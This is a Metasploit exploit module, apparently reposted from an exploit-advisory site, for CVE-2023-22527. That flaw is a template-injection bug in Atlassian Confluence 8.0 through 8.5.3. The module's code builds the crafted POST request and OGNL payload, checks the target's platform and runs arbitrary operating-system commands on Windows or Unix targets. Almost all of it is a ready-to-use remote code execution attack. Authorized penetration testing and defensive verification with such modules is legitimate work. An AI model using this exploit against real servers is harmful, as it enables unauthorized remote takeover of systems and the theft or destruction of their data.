Exploit/Advisories

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Confluence SSTI Injection',
'Description' => %q{
This module exploits an SSTI injection in Atlassian Confluence servers. A specially crafted HTTP request uses
the injection to evaluate an OGNL expression resulting in OS command execution.
Versions 8.5.0 through 8.5.3 and 8.0 to 8.4 are known to be vulnerable.
},
'Author' => [
'Rahul Maini', # ProjectDiscovery analysis
'Harsh Jaiswal', # ProjectDiscovery analysis
'Spencer McIntyre'
],
'References' => [
['CVE', '2023-22527'],
['URL', 'https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-data-center-and-confluence-server-1333990257.html'],
['URL', 'https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/']
],
'DisclosureDate' => '2024-01-16', # Atlassian advisory released
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Payload' => { 'Space' => 8191, 'DisableNops' => true }
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8090
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def get_confluence_platform
# this method gets the platform by exploiting CVE-2023-22527
return @confluence_platform if @confluence_platform

header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}"
ognl = <<~OGNL.gsub(/^\s+/, '').tr("\n", '')
@org.apache.struts2.ServletActionContext@getResponse().setHeader(
'#{header}',
(@java.lang.System@getProperty('os.name'))
)
OGNL
res = inject_ognl(ognl)
return nil unless res

res.headers[header]
end

def check
confluence_version = get_confluence_version
return CheckCode::Unknown('Failed to determine the Confluence version.') unless confluence_version

vprint_status("Detected Confluence version: #{confluence_version}")
if confluence_version > Rex::Version.new('8.5.3')
return CheckCode::Safe("Version #{confluence_version} is not affected.")
end

confluence_platform = get_confluence_platform
unless confluence_platform
return CheckCode::Safe('Failed to test OGNL injection.')
end

vprint_status("Detected target platform: #{confluence_platform}")
CheckCode::Vulnerable('Successfully tested OGNL injection.')
end

def exploit
confluence_platform = get_confluence_platform
unless confluence_platform
fail_with(Failure::NotVulnerable, 'The target is not vulnerable.')
end

unless confluence_platform.downcase.start_with?('win') == (target['Platform'] == 'win')
fail_with(Failure::NoTarget, "The target platform '#{confluence_platform}' is incompatible with '#{target.name}'")
end

print_status("Executing #{payload_instance.refname} (#{target.name})")
execute_command(payload.encoded)
end

def execute_command(cmd, _opts = {})
param = rand_text_alphanumeric(6..10)
# reference a parameter in the OGNL to work around the 200 character length limit
ognl = <<~OGNL.gsub(/^\s+/, '').tr("\n", '')
(new freemarker.template.utility.Execute()).exec(
{@org.apache.struts2.ServletActionContext@getRequest().getParameter('#{param}')}
)
OGNL

if target['Platform'] == 'win'
vars_post = { param => "cmd.exe /c \"#{cmd}\"" }
else
# the command is executed via Runtime.exec, so sh -c "#{cmd}" will not work with all payloads
# see: https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html?m=1
vars_post = { param => "sh -c $@|sh . echo #{cmd}" }
end

inject_ognl(ognl, 'vars_post' => vars_post)
end

def inject_ognl(ognl, opts = {})
opts = opts.clone
param = rand_text_alphanumeric(6..10)
final_opts = {
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'template/aui/text-inline.vm'),
'vars_post' => {
# label and param are both limited to a 200 character length by default
'label' => "\\u0027+#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.#{param},{})+\\u0027",
param => ognl
}.merge(opts.delete('vars_post') || {})
}.merge(opts)

send_request_cgi(final_opts)
end
end

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